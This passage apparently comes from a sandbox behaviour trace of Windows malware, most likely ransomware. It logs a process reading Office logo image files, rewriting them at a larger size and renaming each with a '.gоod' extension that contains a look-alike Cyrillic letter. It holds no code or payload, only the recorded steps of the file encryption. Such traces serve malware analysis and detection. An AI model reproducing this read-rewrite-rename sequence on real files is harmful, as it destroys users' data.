dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.910] GetFileType (hFile=0x824) returned 0x1 [0209.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0209.910] GetFileType (hFile=0x824) returned 0x1 [0209.910] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8fa [0209.910] ReadFile (in: hFile=0x824, lpBuffer=0x3665858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3665858*, lpNumberOfBytesRead=0x1fcee238*=0x8fa, lpOverlapped=0x0) returned 1 [0209.912] CloseHandle (hObject=0x824) returned 1 [0209.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0209.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0209.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.924] GetFileType (hFile=0x824) returned 0x1 [0209.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0209.924] GetFileType (hFile=0x824) returned 0x1 [0209.924] WriteFile (in: hFile=0x824, lpBuffer=0x36dfd30*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36dfd30*, lpNumberOfBytesWritten=0x1fcee148*=0x900, lpOverlapped=0x0) returned 1 [0209.925] CloseHandle (hObject=0x824) returned 1 [0209.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0210.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x5a [0210.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0210.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79556c51, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0210.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0210.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png.gоod")) returned 1 [0210.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0210.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0210.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3635d00 | out: lpFileInformation=0x3635d00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82)) returned 1 [0210.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0210.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0210.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0210.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.818] GetFileType (hFile=0x824) returned 0x1 [0210.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0210.818] GetFileType (hFile=0x824) returned 0x1 [0210.818] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa82 [0210.818] ReadFile (in: hFile=0x824, lpBuffer=0x3636aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3636aa0*, lpNumberOfBytesRead=0x1fcee238*=0xa82, lpOverlapped=0x0) returned 1 [0210.819] CloseHandle (hObject=0x824) returned 1 [0210.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0210.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0210.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.831] GetFileType (hFile=0x824) returned 0x1 [0210.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0210.832] GetFileType (hFile=0x824) returned 0x1 [0210.832] WriteFile (in: hFile=0x824, lpBuffer=0x36b1680*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36b1680*, lpNumberOfBytesWritten=0x1fcee148*=0xa90, lpOverlapped=0x0) returned 1 [0210.832] CloseHandle (hObject=0x824) returned 1 [0210.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0210.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x5a [0210.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0210.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79e21605, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa90)) returned 1 [0210.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0210.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png.gоod")) returned 1 [0210.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0210.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0210.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x36b2970 | out: lpFileInformation=0x36b2970*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x649)) returned 1 [0210.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0210.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0210.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0210.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.834] GetFileType (hFile=0x824) returned 0x1 [0210.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0210.834] GetFileType (hFile=0x824) returned 0x1 [0210.834] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x649 [0210.834] ReadFile (in: hFile=0x824, lpBuffer=0x36b32d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36b32d8*, lpNumberOfBytesRead=0x1fcee238*=0x649, lpOverlapped=0x0) returned 1 [0210.836] CloseHandle (hObject=0x824) returned 1 [0210.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0210.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0210.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.848] GetFileType (hFile=0x824) returned 0x1 [0210.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0210.848] GetFileType (hFile=0x824) returned 0x1 [0210.848] WriteFile (in: hFile=0x824, lpBuffer=0x372c880*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x372c880*, lpNumberOfBytesWritten=0x1fcee148*=0x650, lpOverlapped=0x0) returned 1 [0210.849] CloseHandle (hObject=0x824) returned 1 [0210.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0210.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x59 [0210.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0210.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79e4734a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0210.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0210.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png.gоod")) returned 1 [0210.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0210.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0210.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x372db70 | out: lpFileInformation=0x372db70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d7)) returned 1 [0210.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0210.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0210.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0210.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.851] GetFileType (hFile=0x824) returned 0x1 [0210.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0210.851] GetFileType (hFile=0x824) returned 0x1 [0210.851] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x5d7 [0210.851] ReadFile (in: hFile=0x824, lpBuffer=0x372e500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x372e500*, lpNumberOfBytesRead=0x1fcee238*=0x5d7, lpOverlapped=0x0) returned 1 [0211.047] CloseHandle (hObject=0x824) returned 1 [0211.077] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0211.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0211.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0211.079] GetFileType (hFile=0x824) returned 0x1 [0211.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0211.079] GetFileType (hFile=0x824) returned 0x1 [0211.079] WriteFile (in: hFile=0x824, lpBuffer=0x35b9ce8*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35b9ce8*, lpNumberOfBytesWritten=0x1fcee148*=0x5e0, lpOverlapped=0x0) returned 1 [0211.080] CloseHandle (hObject=0x824) returned 1 [0211.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0211.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6e [0211.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0211.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7a05d6cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e0)) returned 1 [0211.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0211.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0212.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0212.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3410b80 | out: lpFileInformation=0x3410b80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698)) returned 1 [0212.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0212.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.132] GetFileType (hFile=0x808) returned 0x1 [0212.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.132] GetFileType (hFile=0x808) returned 0x1 [0212.132] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x698 [0212.132] ReadFile (in: hFile=0x808, lpBuffer=0x34115d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34115d0*, lpNumberOfBytesRead=0x1fcee238*=0x698, lpOverlapped=0x0) returned 1 [0212.133] CloseHandle (hObject=0x808) returned 1 [0212.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.148] GetFileType (hFile=0x808) returned 0x1 [0212.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.148] GetFileType (hFile=0x808) returned 0x1 [0212.148] WriteFile (in: hFile=0x808, lpBuffer=0x348bff8*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x348bff8*, lpNumberOfBytesWritten=0x1fcee148*=0x6a0, lpOverlapped=0x0) returned 1 [0212.149] CloseHandle (hObject=0x808) returned 1 [0212.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: 